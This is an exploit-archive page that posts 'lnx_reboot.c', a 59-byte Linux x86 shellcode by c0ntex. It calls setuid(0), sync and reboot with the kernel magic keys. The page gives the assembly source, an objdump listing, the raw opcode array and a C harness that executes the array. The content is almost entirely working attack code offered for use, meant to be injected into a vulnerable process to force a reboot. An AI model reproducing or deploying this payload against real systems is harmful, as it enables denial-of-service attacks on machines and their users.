what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lnx_reboot.c

lnx_reboot.c
Posted Apr 22, 2004
Authored by c0ntex

lnx_reboot version 2 - 59 Byte reboot Opcode array.

tags | shellcode
SHA-256 | e5dcf87114d61374126ac5f7b69c85049853adfc074046fc7cc91babdf726e56

lnx_reboot.c

Change Mirror Download
/* 
lnx_reboot.c - v2 - 59 Byte Reboot Opcode Array
Copyright(c) 2004 c0ntex <c0ntex@hushmail.com>

Visit at http://twistedminds.mine.nu || http://open-security.org

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston,
MA 02111-1307 USA
*/

/*
Calling: setuid(0), sync(0), reboot(key1,key2,flag), sync(), exit(0)

unistd.h:#define __NR_setuid 23
unistd.h:#define __NR_sync 36
unistd.h:#define __NR_reboot 88
unistd.h:#define __NR_exit 1

#Definitions from /usr/include/linux/reboot.h
-Majick Key[1] 0xfee1dead
-Majick Key[2] 672274793
-Majick Key[2a] 85072278
-Majick Key[2b] 369367448
-Syscall Key[1] 0x01234567

/->reboot.c
int main()
{
__asm__("
xorl %eax,%eax
movl %eax,%ebx
movb $0x17,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movb $0x24,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movl %eax,%ecx
movl %eax,%edx
movb $0x58,%al
movl $0xfee1dead,%ebx
movl $672274793,%ecx
movl $0x01234567,%edx
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movb $0x24,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80
");
return 0;
}

/->reboot.s
.globl main
main:
xorl %eax,%eax
movl %eax,%ebx
movb $0x17,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movb $0x24,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movl %eax,%ecx
movl %eax,%edx
movb $0x58,%al
movl $0xfee1dead,%ebx
movl $672274793,%ecx
movl $0x01234567,%edx
int $0x80
xorl %eax,%eax
movl %eax,%ebx
movb $0x24,%al
int $0x80
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80

/-> objdump.?
80482ec: 31 c0 xor %eax,%eax
80482ee: 89 c3 mov %eax,%ebx
80482f0: b0 17 mov $0x17,%al
80482f2: cd 80 int $0x80
80482f4: 31 c0 xor %eax,%eax
80482f6: 89 c3 mov %eax,%ebx
80482f8: b0 24 mov $0x24,%al
80482fa: cd 80 int $0x80
80482fc: 31 c0 xor %eax,%eax
80482fe: 89 c3 mov %eax,%ebx
8048300: 89 c1 mov %eax,%ecx
8048302: 89 c2 mov %eax,%edx
8048306: b0 58 mov $0x58,%al
8048308: bb ad de e1 fe mov $0xfee1dead,%ebx
804830d: b9 69 19 12 28 mov $0x28121969,%ecx
8048312: ba 67 45 23 01 mov $0x01234567,%edx
8048317: cd 80 int $0x80
8048319: 31 c0 xor %eax,%eax
804831b: 89 c3 mov %eax,%ebx
804831d: b0 24 mov $0x24,%al
804831f: cd 80 int $0x80
8048321: 31 c0 xor %eax,%eax
8048323: 89 c3 mov %eax,%ebx
8048325: fe c0 inc %al
8048327: cd 80 int $0x80
*/
#include <stdio.h>

typedef char wikkid;

wikkid oPc0d3z[]={
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,
0xb0,0x58,0xbb,0xad,0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,
0xba,0x67,0x45,0x23,0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,
0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};

unsigned long grab_esp()
{
__asm__("
xorl %eax,%eax
movl %eax,%ebx
movl %esp,%eax
");
}

int main(void)
{
unsigned long delta;
void (*pointer)();

delta = grab_esp();

fprintf(stderr, "\n\t[-] Stack Pointer Add [0x%x]\n", delta);
fprintf(stderr, "\t[-] Size of opcode array: [%d]\n", sizeof(oPc0d3z));
fprintf(stderr, "\t[-] Targeting opcode array now\n");

pointer=(void*)&oPc0d3z;

while(pointer) {
fprintf(stderr, "\t[-] Called address [0x%x]\n\n", pointer);
pointer();
}
_exit(0x01);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close